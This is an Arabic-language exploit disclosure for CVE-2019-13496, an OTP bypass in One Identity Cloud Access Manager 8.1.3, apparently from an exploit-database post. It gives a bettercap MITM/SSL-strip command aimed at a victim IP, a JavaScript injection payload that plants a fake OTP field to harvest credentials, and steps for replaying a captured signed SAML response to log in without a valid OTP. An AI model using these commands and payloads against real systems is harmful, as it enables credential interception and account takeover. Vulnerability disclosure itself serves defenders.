CVE-2019-13496
عنوان الاستغلال: تجاوز OTP (فحص السلامة الفاشل)
التاريخ: 07/10/2019
المؤلف: Furqan Khan
الصفحة الرئيسية للبائع: https://www.oneidentity.com/
رابط البرنامج: https://www.oneidentity.com/products/cloud-access-manager/
الإصدار: 8.1.3
تم الاختبار على: Kali Linux , Windows 7 ,Ubantu 16.04
لاستغلال ثغرة تجاوز OTP، يستخدم المهاجم ثغرة مكتشفة سابقًا من نوع MITM/SSL-Strip CVE-2019-13498 , CVE-2019-13498 . يقوم المهاجم بتنفيذ هجوم MITM / SSL strip يمكنه من خلاله حقن مربع نص OTP في صفحة الويب التي تُعرض للضحية. يشارك الضحية اسم المستخدم وكلمة المرور وOTP المُنشأ من تطبيق يُدعى defender (المملوك لنفس البائع). يعترض المهاجم اسم المستخدم وكلمة المرور وOTP ثم يحاول الوصول إلى التطبيق عبر سير عمل شرعي. بعد إدخال اسم المستخدم وكلمة المرور (المسروقتين)، يضع المهاجم OTP المسروق في الصفحة التالية. عند إرسال الطلب في صفحة OTP، يتم حفظ استجابة SAML الموقعة. الآن، حتى لو لم يكن لدى المهاجم إمكانية الوصول إلى التطبيق الذي يُنشئ OTP، يمكنه إدخال OTP غير صالح للمعاملات المتتالية، وبينما يبطل التطبيق OTP، يمكن للمهاجم استبدال استجابة SAML الفاشلة باستجابة SAML الشرعية التي تم الحصول عليها سابقًا، ويفشل التطبيق في إجراء فحص السلامة ويُسجل دخول المهاجم.
(1) الخطوة الأولى من الهجوم هي إجراء هجوم MITM/SSL-Strip الموضح تحت: CVE-2019-13498 ، كما هو محدد أدناه:
الأمر المستخدم في bettercap هو:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

هنا 192.168.1.103 هو عنوان IP الخاص بالضحية. إذا لم نكن نعرفه، يمكننا استخدام bettercap لاستنشاق ومعالجة محتوى الشبكة المحلية بالكامل (الشبكة المشتركة بين المهاجم والضحية)
محتوى ملف inject_js.js موضح أدناه
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
الآن، عندما يتصفح الضحية المنتج (Cloud access manager)، وبسبب تسميم ذاكرة التخزين المؤقت وSSL strip (Bettercap)، سيتم حقن مربع نص OTP في الصفحة التي تُعرض للضحية عبر مقتطف JavaScript المحقون

نظرًا لأن الاتصال تم تخفيضه إلى http عبر ssl-strip، فستكون جميع حركة المرور مرئية للمهاجم. وبالتالي يمكننا اعتراض حركة المرور ورؤية اسم المستخدم وكلمة المرور وOTP التي أرسلها الضحية.

لنفترض الآن أننا قمنا بتسجيل الدخول مرة واحدة باستخدام بيانات الاعتماد المحفوظة وحفظنا جميع الطلبات والاستجابات الصالحة.
في هذا القسم، سنتعلم كيف يمكننا استخدام استجابة OTP المحفوظة سابقًا لتجاوز التحقق من صحة OTP، مما سيؤدي إلى تسجيل الدخول إلى التطبيق.
لنقم بإدخال OTP غير صالح كما هو موضح أدناه:

فيما يلي الاستجابة التي تفشل في التحقق من صحة OTP.

استبدل الاستجابة الفاشلة بالاستجابة الشرعية المحفوظة سابقًا.

فيما يلي استجابة SAML التي تفشل في التحقق من صحة OTP.

استبدل الاستجابة الفاشلة باستجابة SAML الشرعية المحفوظة سابقًا.

ممتاز، سجل التطبيق دخولنا. من الناحية المثالية، كان يجب أن يقوم بفحص السلامة وأن يأخذ في الاعتبار أن OTP قد انتهت صلاحيته.

ممتاز! كان ذلك سهلاً!